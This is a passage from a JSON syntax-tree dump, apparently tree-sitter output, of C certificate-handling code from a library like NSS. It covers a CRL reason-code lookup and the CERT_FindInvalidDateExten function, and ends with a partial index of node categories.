"children": [], "start_point": {"row": 122, "column": 1}, "end_point": {"row": 122, "column": 5}}, {"id": 459, "type": "statement_identifier", "text": "loser", "parent": 457, "children": [], "start_point": {"row": 122, "column": 6}, "end_point": {"row": 122, "column": 11}}, {"id": 460, "type": "assignment_expression", "text": "*value = (CERTCRLEntryReasonCode) DER_GetInteger(&tmpItem)", "parent": 357, "children": [461, 464, 465], "start_point": {"row": 125, "column": 4}, "end_point": {"row": 125, "column": 62}}, {"id": 461, "type": "pointer_expression", "text": "*value", "parent": 460, "children": [462, 463], "start_point": {"row": 125, "column": 4}, "end_point": {"row": 125, "column": 10}}, {"id": 462, "type": "*", "text": "*", "parent": 461, "children": [], "start_point": {"row": 125, "column": 4}, "end_point": {"row": 125, "column": 5}}, {"id": 463, "type": "identifier", "text": "value", "parent": 461, "children": [], "start_point": {"row": 125, "column": 5}, "end_point": {"row": 125, "column": 10}}, {"id": 464, "type": "=", "text": "=", "parent": 460, "children": [], "start_point": {"row": 125, "column": 11}, "end_point": {"row": 125, "column": 12}}, {"id": 465, "type": "cast_expression", "text": "(CERTCRLEntryReasonCode) DER_GetInteger(&tmpItem)", "parent": 460, "children": [466, 468], "start_point": {"row": 125, "column": 13}, "end_point": {"row": 125, "column": 62}}, {"id": 466, "type": "type_descriptor", "text": "CERTCRLEntryReasonCode", "parent": 465, "children": [467], "start_point": {"row": 125, "column": 14}, "end_point": {"row": 125, "column": 36}}, {"id": 467, "type": "type_identifier", "text": "CERTCRLEntryReasonCode", "parent": 466, "children": [], "start_point": {"row": 125, "column": 14}, "end_point": {"row": 125, "column": 36}}, {"id": 468, "type": "call_expression", "text": "DER_GetInteger(&tmpItem)", "parent": 465, "children": [469, 470], "start_point": {"row": 125, "column": 38}, "end_point": {"row": 125, "column": 62}}, {"id": 469, "type": "identifier", "text": "DER_GetInteger", "parent": 468, "children": [], "start_point": {"row": 125, "column": 38}, "end_point": {"row": 125, "column": 52}}, {"id": 470, "type": "argument_list", "text": "(&tmpItem)", "parent": 468, "children": [471], "start_point": {"row": 125, "column": 52}, "end_point": {"row": 125, "column": 62}}, {"id": 471, "type": "pointer_expression", "text": "&tmpItem", "parent": 470, "children": [472], "start_point": {"row": 125, "column": 53}, "end_point": {"row": 125, "column": 61}}, {"id": 472, "type": "identifier", "text": "tmpItem", "parent": 471, "children": [], "start_point": {"row": 125, "column": 54}, "end_point": {"row": 125, "column": 61}}, {"id": 473, "type": "labeled_statement", "text": "loser:\n if ( arena ) {\n\tPORT_FreeArena(arena, PR_FALSE);\n }", "parent": 357, "children": [474, 475], "start_point": {"row": 127, "column": 0}, "end_point": {"row": 130, "column": 5}}, {"id": 474, "type": "statement_identifier", "text": "loser", "parent": 473, "children": [], "start_point": {"row": 127, "column": 0}, "end_point": {"row": 127, "column": 5}}, {"id": 475, "type": "if_statement", "text": "if ( arena ) {\n\tPORT_FreeArena(arena, PR_FALSE);\n }", "parent": 473, "children": [476], "start_point": {"row": 128, "column": 4}, "end_point": {"row": 130, "column": 5}}, {"id": 476, "type": "parenthesized_expression", "text": "( arena )", "parent": 475, "children": [477], "start_point": {"row": 128, "column": 7}, "end_point": {"row": 128, "column": 16}}, {"id": 477, "type": "identifier", "text": "arena", "parent": 476, "children": [], "start_point": {"row": 128, "column": 9}, "end_point": {"row": 128, "column": 14}}, {"id": 478, "type": "call_expression", "text": "PORT_FreeArena(arena, PR_FALSE)", "parent": 475, "children": [479, 480], "start_point": {"row": 129, "column": 1}, "end_point": {"row": 129, "column": 32}}, {"id": 479, "type": "identifier", "text": "PORT_FreeArena", "parent": 478, "children": [], "start_point": {"row": 129, "column": 1}, "end_point": {"row": 129, "column": 15}}, {"id": 480, "type": "argument_list", "text": "(arena, PR_FALSE)", "parent": 478, "children": [481, 482], "start_point": {"row": 129, "column": 15}, "end_point": {"row": 129, "column": 32}}, {"id": 481, "type": "identifier", "text": "arena", "parent": 480, "children": [], "start_point": {"row": 129, "column": 16}, "end_point": {"row": 129, "column": 21}}, {"id": 482, "type": "identifier", "text": "PR_FALSE", "parent": 480, "children": [], "start_point": {"row": 129, "column": 23}, "end_point": {"row": 129, "column": 31}}, {"id": 483, "type": "if_statement", "text": "if ( wrapperItem.data ) {\n\tPORT_Free(wrapperItem.data);\n }", "parent": 357, "children": [484], "start_point": {"row": 132, "column": 4}, "end_point": {"row": 134, "column": 5}}, {"id": 484, "type": "parenthesized_expression", "text": "( wrapperItem.data )", "parent": 483, "children": [485], "start_point": {"row": 132, "column": 7}, "end_point": {"row": 132, "column": 27}}, {"id": 485, "type": "field_expression", "text": "wrapperItem.data", "parent": 484, "children": [486, 487], "start_point": {"row": 132, "column": 9}, "end_point": {"row": 132, "column": 25}}, {"id": 486, "type": "identifier", "text": "wrapperItem", "parent": 485, "children": [], "start_point": {"row": 132, "column": 9}, "end_point": {"row": 132, "column": 20}}, {"id": 487, "type": "field_identifier", "text": "data", "parent": 485, "children": [], "start_point": {"row": 132, "column": 21}, "end_point": {"row": 132, "column": 25}}, {"id": 488, "type": "call_expression", "text": "PORT_Free(wrapperItem.data)", "parent": 483, "children": [489, 490], "start_point": {"row": 133, "column": 1}, "end_point": {"row": 133, "column": 28}}, {"id": 489, "type": "identifier", "text": "PORT_Free", "parent": 488, "children": [], "start_point": {"row": 133, "column": 1}, "end_point": {"row": 133, "column": 10}}, {"id": 490, "type": "argument_list", "text": "(wrapperItem.data)", "parent": 488, "children": [491], "start_point": {"row": 133, "column": 10}, "end_point": {"row": 133, "column": 28}}, {"id": 491, "type": "field_expression", "text": "wrapperItem.data", "parent": 490, "children": [492, 493], "start_point": {"row": 133, "column": 11}, "end_point": {"row": 133, "column": 27}}, {"id": 492, "type": "identifier", "text": "wrapperItem", "parent": 491, "children": [], "start_point": {"row": 133, "column": 11}, "end_point": {"row": 133, "column": 22}}, {"id": 493, "type": "field_identifier", "text": "data", "parent": 491, "children": [], "start_point": {"row": 133, "column": 23}, "end_point": {"row": 133, "column": 27}}, {"id": 494, "type": "return_statement", "text": "return (rv);", "parent": 357, "children": [495], "start_point": {"row": 136, "column": 4}, "end_point": {"row": 136, "column": 16}}, {"id": 495, "type": "parenthesized_expression", "text": "(rv)", "parent": 494, "children": [496], "start_point": {"row": 136, "column": 11}, "end_point": {"row": 136, "column": 15}}, {"id": 496, "type": "identifier", "text": "rv", "parent": 495, "children": [], "start_point": {"row": 136, "column": 12}, "end_point": {"row": 136, "column": 14}}, {"id": 497, "type": "function_definition", "text": "SECStatus CERT_FindInvalidDateExten (CERTCrl *crl, int64 *value)\n{\n SECItem encodedExtenValue;\n SECItem decodedExtenValue = {siBuffer,0};\n SECStatus rv;\n\n encodedExtenValue.data = decodedExtenValue.data = NULL;\n encodedExtenValue.len = decodedExtenValue.len = 0;\n\n rv = cert_FindExtension\n\t (crl->extensions, SEC_OID_X509_INVALID_DATE, &encodedExtenValue);\n if ( rv != SECSuccess )\n\treturn (rv);\n\n rv = SEC_ASN1DecodeItem (NULL, &decodedExtenValue,\n\t\t\t SEC_ASN1_GET(SEC_GeneralizedTimeTemplate),\n &encodedExtenValue);\n if (rv == SECSuccess)\n\trv = DER_GeneralizedTimeToTime(value, &encodedExtenValue);\n PORT_Free (decodedExtenValue.data);\n PORT_Free (encodedExtenValue.data);\n return (rv);\n}", "parent": null, "children": [498, 499], "start_point": {"row": 139, "column": 0}, "end_point": {"row": 161, "column": 1}}, {"id": 498, "type": "type_identifier", "text": "SECStatus", "parent": 497, "children": [], "start_point": {"row": 139, "column": 0}, "end_point": {"row": 139, "column": 9}}, {"id": 499, "type": "function_declarator", "text": "CERT_FindInvalidDateExten (CERTCrl *crl, int64 *value)", "parent": 497, "children": [500, 501], "start_point": {"row": 139, "column": 10}, "end_point": {"row": 139, "column": 64}}, {"id": 500, "type": "identifier", "text": "CERT_FindInvalidDateExten", "parent": 499, "children": [], "start_point": {"row": 139, "column": 10}, "end_point": {"row": 139, "column": 35}}, {"id": 501, "type": "parameter_list", "text": "(CERTCrl *crl, int64 *value)", "parent": 499, "children": [502, 507], "start_point": {"row": 139, "column": 36}, "end_point": {"row": 139, "column": 64}}, {"id": 502, "type": "parameter_declaration", "text": "CERTCrl *crl", "parent": 501, "children": [503, 504], "start_point": {"row": 139, "column": 37}, "end_point": {"row": 139, "column": 49}}, {"id": 503, "type": "type_identifier", "text": "CERTCrl", "parent": 502, "children": [], "start_point": {"row": 139, "column": 37}, "end_point": {"row": 139, "column": 44}}, {"id": 504, "type": "pointer_declarator", "text": "*crl", "parent": 502, "children": [505, 506], "start_point": {"row": 139, "column": 45}, "end_point": {"row": 139, "column": 49}}, {"id": 505, "type": "*", "text": "*", "parent": 504, "children": [], "start_point": {"row": 139, "column": 45}, "end_point": {"row": 139, "column": 46}}, {"id": 506, "type": "identifier", "text": "crl", "parent": 504, "children": [], "start_point": {"row": 139, "column": 46}, "end_point": {"row": 139, "column": 49}}, {"id": 507, "type": "parameter_declaration", "text": "int64 *value", "parent": 501, "children": [508, 509], "start_point": {"row": 139, "column": 51}, "end_point": {"row": 139, "column": 63}}, {"id": 508, "type": "type_identifier", "text": "int64", "parent": 507, "children": [], "start_point": {"row": 139, "column": 51}, "end_point": {"row": 139, "column": 56}}, {"id": 509, "type": "pointer_declarator", "text": "*value", "parent": 507, "children": [510, 511], "start_point": {"row": 139, "column": 57}, "end_point": {"row": 139, "column": 63}}, {"id": 510, "type": "*", "text": "*", "parent": 509, "children": [], "start_point": {"row": 139, "column": 57}, "end_point": {"row": 139, "column": 58}}, {"id": 511, "type": "identifier", "text": "value", "parent": 509, "children": [], "start_point": {"row": 139, "column": 58}, "end_point": {"row": 139, "column": 63}}, {"id": 512, "type": "declaration", "text": "SECItem encodedExtenValue;", "parent": 497, "children": [513, 514], "start_point": {"row": 141, "column": 4}, "end_point": {"row": 141, "column": 30}}, {"id": 513, "type": "type_identifier", "text": "SECItem", "parent": 512, "children": [], "start_point": {"row": 141, "column": 4}, "end_point": {"row": 141, "column": 11}}, {"id": 514, "type": "identifier", "text": "encodedExtenValue", "parent": 512, "children": [], "start_point": {"row": 141, "column": 12}, "end_point": {"row": 141, "column": 29}}, {"id": 515, "type": "declaration", "text": "SECItem decodedExtenValue = {siBuffer,0};", "parent": 497, "children": [516, 517], "start_point": {"row": 142, "column": 4}, "end_point": {"row": 142, "column": 45}}, {"id": 516, "type": "type_identifier", "text": "SECItem", "parent": 515, "children": [], "start_point": {"row": 142, "column": 4}, "end_point": {"row": 142, "column": 11}}, {"id": 517, "type": "init_declarator", "text": "decodedExtenValue = {siBuffer,0}", "parent": 515, "children": [518, 519, 520], "start_point": {"row": 142, "column": 12}, "end_point": {"row": 142, "column": 44}}, {"id": 518, "type": "identifier", "text": "decodedExtenValue", "parent": 517, "children": [], "start_point": {"row": 142, "column": 12}, "end_point": {"row": 142, "column": 29}}, {"id": 519, "type": "=", "text": "=", "parent": 517, "children": [], "start_point": {"row": 142, "column": 30}, "end_point": {"row": 142, "column": 31}}, {"id": 520, "type": "initializer_list", "text": "{siBuffer,0}", "parent": 517, "children": [521, 522], "start_point": {"row": 142, "column": 32}, "end_point": {"row": 142, "column": 44}}, {"id": 521, "type": "identifier", "text": "siBuffer", "parent": 520, "children": [], "start_point": {"row": 142, "column": 33}, "end_point": {"row": 142, "column": 41}}, {"id": 522, "type": "number_literal", "text": "0", "parent": 520, "children": [], "start_point": {"row": 142, "column": 42}, "end_point": {"row": 142, "column": 43}}, {"id": 523, "type": "declaration", "text": "SECStatus rv;", "parent": 497, "children": [524, 525], "start_point": {"row": 143, "column": 4}, "end_point": {"row": 143, "column": 17}}, {"id": 524, "type": "type_identifier", "text": "SECStatus", "parent": 523, "children": [], "start_point": {"row": 143, "column": 4}, "end_point": {"row": 143, "column": 13}}, {"id": 525, "type": "identifier", "text": "rv", "parent": 523, "children": [], "start_point": {"row": 143, "column": 14}, "end_point": {"row": 143, "column": 16}}, {"id": 526, "type": "assignment_expression", "text": "encodedExtenValue.data = decodedExtenValue.data = NULL", "parent": 497, "children": [527, 530, 531], "start_point": {"row": 145, "column": 4}, "end_point": {"row": 145, "column": 58}}, {"id": 527, "type": "field_expression", "text": "encodedExtenValue.data", "parent": 526, "children": [528, 529], "start_point": {"row": 145, "column": 4}, "end_point": {"row": 145, "column": 26}}, {"id": 528, "type": "identifier", "text": "encodedExtenValue", "parent": 527, "children": [], "start_point": {"row": 145, "column": 4}, "end_point": {"row": 145, "column": 21}}, {"id": 529, "type": "field_identifier", "text": "data", "parent": 527, "children": [], "start_point": {"row": 145, "column": 22}, "end_point": {"row": 145, "column": 26}}, {"id": 530, "type": "=", "text": "=", "parent": 526, "children": [], "start_point": {"row": 145, "column": 27}, "end_point": {"row": 145, "column": 28}}, {"id": 531, "type": "assignment_expression", "text": "decodedExtenValue.data = NULL", "parent": 526, "children": [532, 535, 536], "start_point": {"row": 145, "column": 29}, "end_point": {"row": 145, "column": 58}}, {"id": 532, "type": "field_expression", "text": "decodedExtenValue.data", "parent": 531, "children": [533, 534], "start_point": {"row": 145, "column": 29}, "end_point": {"row": 145, "column": 51}}, {"id": 533, "type": "identifier", "text": "decodedExtenValue", "parent": 532, "children": [], "start_point": {"row": 145, "column": 29}, "end_point": {"row": 145, "column": 46}}, {"id": 534, "type": "field_identifier", "text": "data", "parent": 532, "children": [], "start_point": {"row": 145, "column": 47}, "end_point": {"row": 145, "column": 51}}, {"id": 535, "type": "=", "text": "=", "parent": 531, "children": [], "start_point": {"row": 145, "column": 52}, "end_point": {"row": 145, "column": 53}}, {"id": 536, "type": "null", "text": "NULL", "parent": 531, "children": [537], "start_point": {"row": 145, "column": 54}, "end_point": {"row": 145, "column": 58}}, {"id": 537, "type": "NULL", "text": "NULL", "parent": 536, "children": [], "start_point": {"row": 145, "column": 54}, "end_point": {"row": 145, "column": 58}}, {"id": 538, "type": "assignment_expression", "text": "encodedExtenValue.len = decodedExtenValue.len = 0", "parent": 497, "children": [539, 542, 543], "start_point": {"row": 146, "column": 4}, "end_point": {"row": 146, "column": 53}}, {"id": 539, "type": "field_expression", "text": "encodedExtenValue.len", "parent": 538, "children": [540, 541], "start_point": {"row": 146, "column": 4}, "end_point": {"row": 146, "column": 25}}, {"id": 540, "type": "identifier", "text": "encodedExtenValue", "parent": 539, "children": [], "start_point": {"row": 146, "column": 4}, "end_point": {"row": 146, "column": 21}}, {"id": 541, "type": "field_identifier", "text": "len", "parent": 539, "children": [], "start_point": {"row": 146, "column": 22}, "end_point": {"row": 146, "column": 25}}, {"id": 542, "type": "=", "text": "=", "parent": 538, "children": [], "start_point": {"row": 146, "column": 26}, "end_point": {"row": 146, "column": 27}}, {"id": 543, "type": "assignment_expression", "text": "decodedExtenValue.len = 0", "parent": 538, "children": [544, 547, 548], "start_point": {"row": 146, "column": 28}, "end_point": {"row": 146, "column": 53}}, {"id": 544, "type": "field_expression", "text": "decodedExtenValue.len", "parent": 543, "children": [545, 546], "start_point": {"row": 146, "column": 28}, "end_point": {"row": 146, "column": 49}}, {"id": 545, "type": "identifier", "text": "decodedExtenValue", "parent": 544, "children": [], "start_point": {"row": 146, "column": 28}, "end_point": {"row": 146, "column": 45}}, {"id": 546, "type": "field_identifier", "text": "len", "parent": 544, "children": [], "start_point": {"row": 146, "column": 46}, "end_point": {"row": 146, "column": 49}}, {"id": 547, "type": "=", "text": "=", "parent": 543, "children": [], "start_point": {"row": 146, "column": 50}, "end_point": {"row": 146, "column": 51}}, {"id": 548, "type": "number_literal", "text": "0", "parent": 543, "children": [], "start_point": {"row": 146, "column": 52}, "end_point": {"row": 146, "column": 53}}, {"id": 549, "type": "assignment_expression", "text": "rv = cert_FindExtension\n\t (crl->extensions, SEC_OID_X509_INVALID_DATE, &encodedExtenValue)", "parent": 497, "children": [550, 551, 552], "start_point": {"row": 148, "column": 4}, "end_point": {"row": 149, "column": 66}}, {"id": 550, "type": "identifier", "text": "rv", "parent": 549, "children": [], "start_point": {"row": 148, "column": 4}, "end_point": {"row": 148, "column": 6}}, {"id": 551, "type": "=", "text": "=", "parent": 549, "children": [], "start_point": {"row": 148, "column": 7}, "end_point": {"row": 148, "column": 8}}, {"id": 552, "type": "call_expression", "text": "cert_FindExtension\n\t (crl->extensions, SEC_OID_X509_INVALID_DATE, &encodedExtenValue)", "parent": 549, "children": [553, 554], "start_point": {"row": 148, "column": 9}, "end_point": {"row": 149, "column": 66}}, {"id": 553, "type": "identifier", "text": "cert_FindExtension", "parent": 552, "children": [], "start_point": {"row": 148, "column": 9}, "end_point": {"row": 148, "column": 27}}, {"id": 554, "type": "argument_list", "text": "(crl->extensions, SEC_OID_X509_INVALID_DATE, &encodedExtenValue)", "parent": 552, "children": [555, 558, 559], "start_point": {"row": 149, "column": 2}, "end_point": {"row": 149, "column": 66}}, {"id": 555, "type": "field_expression", "text": "crl->extensions", "parent": 554, "children": [556, 557], "start_point": {"row": 149, "column": 3}, "end_point": {"row": 149, "column": 18}}, {"id": 556, "type": "identifier", "text": "crl", "parent": 555, "children": [], "start_point": {"row": 149, "column": 3}, "end_point": {"row": 149, "column": 6}}, {"id": 557, "type": "field_identifier", "text": "extensions", "parent": 555, "children": [], "start_point": {"row": 149, "column": 8}, "end_point": {"row": 149, "column": 18}}, {"id": 558, "type": "identifier", "text": "SEC_OID_X509_INVALID_DATE", "parent": 554, "children": [], "start_point": {"row": 149, "column": 20}, "end_point": {"row": 149, "column": 45}}, {"id": 559, "type": "pointer_expression", "text": "&encodedExtenValue", "parent": 554, "children": [560], "start_point": {"row": 149, "column": 47}, "end_point": {"row": 149, "column": 65}}, {"id": 560, "type": "identifier", "text": "encodedExtenValue", "parent": 559, "children": [], "start_point": {"row": 149, "column": 48}, "end_point": {"row": 149, "column": 65}}, {"id": 561, "type": "if_statement", "text": "if ( rv != SECSuccess )\n\treturn (rv);", "parent": 497, "children": [562, 567], "start_point": {"row": 150, "column": 4}, "end_point": {"row": 151, "column": 13}}, {"id": 562, "type": "parenthesized_expression", "text": "( rv != SECSuccess )", "parent": 561, "children": [563], "start_point": {"row": 150, "column": 7}, "end_point": {"row": 150, "column": 27}}, {"id": 563, "type": "binary_expression", "text": "rv != SECSuccess", "parent": 562, "children": [564, 565, 566], "start_point": {"row": 150, "column": 9}, "end_point": {"row": 150, "column": 25}}, {"id": 564, "type": "identifier", "text": "rv", "parent": 563, "children": [], "start_point": {"row": 150, "column": 9}, "end_point": {"row": 150, "column": 11}}, {"id": 565, "type": "!=", "text": "!=", "parent": 563, "children": [], "start_point": {"row": 150, "column": 12}, "end_point": {"row": 150, "column": 14}}, {"id": 566, "type": "identifier", "text": "SECSuccess", "parent": 563, "children": [], "start_point": {"row": 150, "column": 15}, "end_point": {"row": 150, "column": 25}}, {"id": 567, "type": "return_statement", "text": "return (rv);", "parent": 561, "children": [568], "start_point": {"row": 151, "column": 1}, "end_point": {"row": 151, "column": 13}}, {"id": 568, "type": "parenthesized_expression", "text": "(rv)", "parent": 567, "children": [569], "start_point": {"row": 151, "column": 8}, "end_point": {"row": 151, "column": 12}}, {"id": 569, "type": "identifier", "text": "rv", "parent": 568, "children": [], "start_point": {"row": 151, "column": 9}, "end_point": {"row": 151, "column": 11}}, {"id": 570, "type": "assignment_expression", "text": "rv = SEC_ASN1DecodeItem (NULL, &decodedExtenValue,\n\t\t\t SEC_ASN1_GET(SEC_GeneralizedTimeTemplate),\n &encodedExtenValue)", "parent": 497, "children": [571, 572, 573], "start_point": {"row": 153, "column": 4}, "end_point": {"row": 155, "column": 48}}, {"id": 571, "type": "identifier", "text": "rv", "parent": 570, "children": [], "start_point": {"row": 153, "column": 4}, "end_point": {"row": 153, "column": 6}}, {"id": 572, "type": "=", "text": "=", "parent": 570, "children": [], "start_point": {"row": 153, "column": 7}, "end_point": {"row": 153, "column": 8}}, {"id": 573, "type": "call_expression", "text": "SEC_ASN1DecodeItem (NULL, &decodedExtenValue,\n\t\t\t SEC_ASN1_GET(SEC_GeneralizedTimeTemplate),\n &encodedExtenValue)", "parent": 570, "children": [574, 575], "start_point": {"row": 153, "column": 9}, "end_point": {"row": 155, "column": 48}}, {"id": 574, "type": "identifier", "text": "SEC_ASN1DecodeItem", "parent": 573, "children": [], "start_point": {"row": 153, "column": 9}, "end_point": {"row": 153, "column": 27}}, {"id": 575, "type": "argument_list", "text": "(NULL, &decodedExtenValue,\n\t\t\t SEC_ASN1_GET(SEC_GeneralizedTimeTemplate),\n &encodedExtenValue)", "parent": 573, "children": [576, 578, 580, 584], "start_point": {"row": 153, "column": 28}, "end_point": {"row": 155, "column": 48}}, {"id": 576, "type": "null", "text": "NULL", "parent": 575, "children": [577], "start_point": {"row": 153, "column": 29}, "end_point": {"row": 153, "column": 33}}, {"id": 577, "type": "NULL", "text": "NULL", "parent": 576, "children": [], "start_point": {"row": 153, "column": 29}, "end_point": {"row": 153, "column": 33}}, {"id": 578, "type": "pointer_expression", "text": "&decodedExtenValue", "parent": 575, "children": [579], "start_point": {"row": 153, "column": 35}, "end_point": {"row": 153, "column": 53}}, {"id": 579, "type": "identifier", "text": "decodedExtenValue", "parent": 578, "children": [], "start_point": {"row": 153, "column": 36}, "end_point": {"row": 153, "column": 53}}, {"id": 580, "type": "call_expression", "text": "SEC_ASN1_GET(SEC_GeneralizedTimeTemplate)", "parent": 575, "children": [581, 582], "start_point": {"row": 154, "column": 8}, "end_point": {"row": 154, "column": 49}}, {"id": 581, "type": "identifier", "text": "SEC_ASN1_GET", "parent": 580, "children": [], "start_point": {"row": 154, "column": 8}, "end_point": {"row": 154, "column": 20}}, {"id": 582, "type": "argument_list", "text": "(SEC_GeneralizedTimeTemplate)", "parent": 580, "children": [583], "start_point": {"row": 154, "column": 20}, "end_point": {"row": 154, "column": 49}}, {"id": 583, "type": "identifier", "text": "SEC_GeneralizedTimeTemplate", "parent": 582, "children": [], "start_point": {"row": 154, "column": 21}, "end_point": {"row": 154, "column": 48}}, {"id": 584, "type": "pointer_expression", "text": "&encodedExtenValue", "parent": 575, "children": [585], "start_point": {"row": 155, "column": 29}, "end_point": {"row": 155, "column": 47}}, {"id": 585, "type": "identifier", "text": "encodedExtenValue", "parent": 584, "children": [], "start_point": {"row": 155, "column": 30}, "end_point": {"row": 155, "column": 47}}, {"id": 586, "type": "if_statement", "text": "if (rv == SECSuccess)\n\trv = DER_GeneralizedTimeToTime(value, &encodedExtenValue);", "parent": 497, "children": [587], "start_point": {"row": 156, "column": 4}, "end_point": {"row": 157, "column": 59}}, {"id": 587, "type": "parenthesized_expression", "text": "(rv == SECSuccess)", "parent": 586, "children": [588], "start_point": {"row": 156, "column": 7}, "end_point": {"row": 156, "column": 25}}, {"id": 588, "type": "binary_expression", "text": "rv == SECSuccess", "parent": 587, "children": [589, 590, 591], "start_point": {"row": 156, "column": 8}, "end_point": {"row": 156, "column": 24}}, {"id": 589, "type": "identifier", "text": "rv", "parent": 588, "children": [], "start_point": {"row": 156, "column": 8}, "end_point": {"row": 156, "column": 10}}, {"id": 590, "type": "==", "text": "==", "parent": 588, "children": [], "start_point": {"row": 156, "column": 11}, "end_point": {"row": 156, "column": 13}}, {"id": 591, "type": "identifier", "text": "SECSuccess", "parent": 588, "children": [], "start_point": {"row": 156, "column": 14}, "end_point": {"row": 156, "column": 24}}, {"id": 592, "type": "assignment_expression", "text": "rv = DER_GeneralizedTimeToTime(value, &encodedExtenValue)", "parent": 586, "children": [593, 594, 595], "start_point": {"row": 157, "column": 1}, "end_point": {"row": 157, "column": 58}}, {"id": 593, "type": "identifier", "text": "rv", "parent": 592, "children": [], "start_point": {"row": 157, "column": 1}, "end_point": {"row": 157, "column": 3}}, {"id": 594, "type": "=", "text": "=", "parent": 592, "children": [], "start_point": {"row": 157, "column": 4}, "end_point": {"row": 157, "column": 5}}, {"id": 595, "type": "call_expression", "text": "DER_GeneralizedTimeToTime(value, &encodedExtenValue)", "parent": 592, "children": [596, 597], "start_point": {"row": 157, "column": 6}, "end_point": {"row": 157, "column": 58}}, {"id": 596, "type": "identifier", "text": "DER_GeneralizedTimeToTime", "parent": 595, "children": [], "start_point": {"row": 157, "column": 6}, "end_point": {"row": 157, "column": 31}}, {"id": 597, "type": "argument_list", "text": "(value, &encodedExtenValue)", "parent": 595, "children": [598, 599], "start_point": {"row": 157, "column": 31}, "end_point": {"row": 157, "column": 58}}, {"id": 598, "type": "identifier", "text": "value", "parent": 597, "children": [], "start_point": {"row": 157, "column": 32}, "end_point": {"row": 157, "column": 37}}, {"id": 599, "type": "pointer_expression", "text": "&encodedExtenValue", "parent": 597, "children": [600], "start_point": {"row": 157, "column": 39}, "end_point": {"row": 157, "column": 57}}, {"id": 600, "type": "identifier", "text": "encodedExtenValue", "parent": 599, "children": [], "start_point": {"row": 157, "column": 40}, "end_point": {"row": 157, "column": 57}}, {"id": 601, "type": "call_expression", "text": "PORT_Free (decodedExtenValue.data)", "parent": 497, "children": [602, 603], "start_point": {"row": 158, "column": 4}, "end_point": {"row": 158, "column": 38}}, {"id": 602, "type": "identifier", "text": "PORT_Free", "parent": 601, "children": [], "start_point": {"row": 158, "column": 4}, "end_point": {"row": 158, "column": 13}}, {"id": 603, "type": "argument_list", "text": "(decodedExtenValue.data)", "parent": 601, "children": [604], "start_point": {"row": 158, "column": 14}, "end_point": {"row": 158, "column": 38}}, {"id": 604, "type": "field_expression", "text": "decodedExtenValue.data", "parent": 603, "children": [605, 606], "start_point": {"row": 158, "column": 15}, "end_point": {"row": 158, "column": 37}}, {"id": 605, "type": "identifier", "text": "decodedExtenValue", "parent": 604, "children": [], "start_point": {"row": 158, "column": 15}, "end_point": {"row": 158, "column": 32}}, {"id": 606, "type": "field_identifier", "text": "data", "parent": 604, "children": [], "start_point": {"row": 158, "column": 33}, "end_point": {"row": 158, "column": 37}}, {"id": 607, "type": "call_expression", "text": "PORT_Free (encodedExtenValue.data)", "parent": 497, "children": [608, 609], "start_point": {"row": 159, "column": 4}, "end_point": {"row": 159, "column": 38}}, {"id": 608, "type": "identifier", "text": "PORT_Free", "parent": 607, "children": [], "start_point": {"row": 159, "column": 4}, "end_point": {"row": 159, "column": 13}}, {"id": 609, "type": "argument_list", "text": "(encodedExtenValue.data)", "parent": 607, "children": [610], "start_point": {"row": 159, "column": 14}, "end_point": {"row": 159, "column": 38}}, {"id": 610, "type": "field_expression", "text": "encodedExtenValue.data", "parent": 609, "children": [611, 612], "start_point": {"row": 159, "column": 15}, "end_point": {"row": 159, "column": 37}}, {"id": 611, "type": "identifier", "text": "encodedExtenValue", "parent": 610, "children": [], "start_point": {"row": 159, "column": 15}, "end_point": {"row": 159, "column": 32}}, {"id": 612, "type": "field_identifier", "text": "data", "parent": 610, "children": [], "start_point": {"row": 159, "column": 33}, "end_point": {"row": 159, "column": 37}}, {"id": 613, "type": "return_statement", "text": "return (rv);", "parent": 497, "children": [614], "start_point": {"row": 160, "column": 4}, "end_point": {"row": 160, "column": 16}}, {"id": 614, "type": "parenthesized_expression", "text": "(rv)", "parent": 613, "children": [615], "start_point": {"row": 160, "column": 11}, "end_point": {"row": 160, "column": 15}}, {"id": 615, "type": "identifier", "text": "rv", "parent": 614, "children": [], "start_point": {"row": 160, "column": 12}, "end_point": {"row": 160, "column": 14}}]}, "node_categories": {"declarations": {"functions": [21, 23, 51, 53, 79, 81, 126, 130, 153, 155, 189, 193, 216, 218, 357, 359, 497, 499], "variables": [26, 31, 36, 56, 61, 64, 84, 89, 96, 133, 158, 163, 170, 196, 201, 221, 226, 231, 236, 239, 248, 251, 362, 367, 372, 380, 388, 391, 502, 507, 512, 515, 523], "classes": [], "imports": [0, 1, 3, 4, 6, 7, 9, 10, 12, 13, 15, 16, 18, 19], "modules": [], "enums": []}, "statements": {"expressions": [42, 43, 46, 70, 71, 74, 103, 110, 115, 118, 121, 122, 139, 140, 143, 149, 177, 184, 207, 208, 212, 261, 268, 276, 279, 283, 286, 287, 292, 297, 304, 308, 311, 316, 321, 331, 334, 338, 339, 343, 349, 355, 403, 408, 409, 413, 418, 421, 425, 428, 429, 439, 443, 445, 449, 452, 453, 461, 465, 468, 471, 476, 478, 484, 485, 488, 491, 495, 527, 532, 539, 544, 552, 555, 559, 562, 563, 568, 573, 578, 580, 584, 587, 588, 595, 599, 601, 604, 607, 610, 614], "assignments": [109, 183, 260, 267, 273, 294, 301, 313, 327, 400, 415, 436, 460, 526, 531, 538, 543, 549, 570, 592], "loops": [], "conditionals": [22, 24, 27, 30, 32, 35, 37, 40, 44, 47, 48, 49, 50, 52, 54, 57, 60, 63, 65, 68, 72, 75, 76, 77, 78, 82, 88, 90, 95, 97, 101, 105, 108, 111, 112, 114, 116, 119, 120, 123, 124, 125, 131, 134, 137, 141, 148, 150, 151, 152, 156, 162, 164, 169, 171, 175, 179, 182, 185, 186, 188, 194, 197, 200, 202, 205, 209, 211, 213, 214, 215, 217, 219, 222, 225, 227, 230, 232, 235, 237, 238, 240, 244, 249, 250, 256, 262, 263, 269, 270, 274, 277, 280, 281, 282, 284, 285, 288, 290, 293, 295, 298, 300, 302, 305, 307, 309, 310, 312, 314, 317, 319, 320, 322, 324, 325, 328, 330, 332, 335, 336, 337, 340, 342, 344, 346, 347, 350, 352, 353, 356, 358, 360, 363, 366, 368, 371, 373, 375, 378, 381, 383, 386, 389, 390, 392, 396, 401, 404, 406, 407, 411, 414, 416, 419, 422, 423, 424, 426, 427, 430, 432, 435, 437, 440, 442, 444, 446, 448, 450, 451, 454, 456, 459, 463, 467, 469, 472, 474, 475, 477, 479, 481, 482, 483, 486, 487, 489, 492, 493, 496, 498, 500, 503, 506, 508, 511, 513, 514, 516, 518, 521, 524, 525, 528, 529, 533, 534, 540, 541, 545, 546, 550, 553, 556, 557, 558, 560, 561, 564, 566, 569, 571, 574, 579, 581, 583, 585, 586, 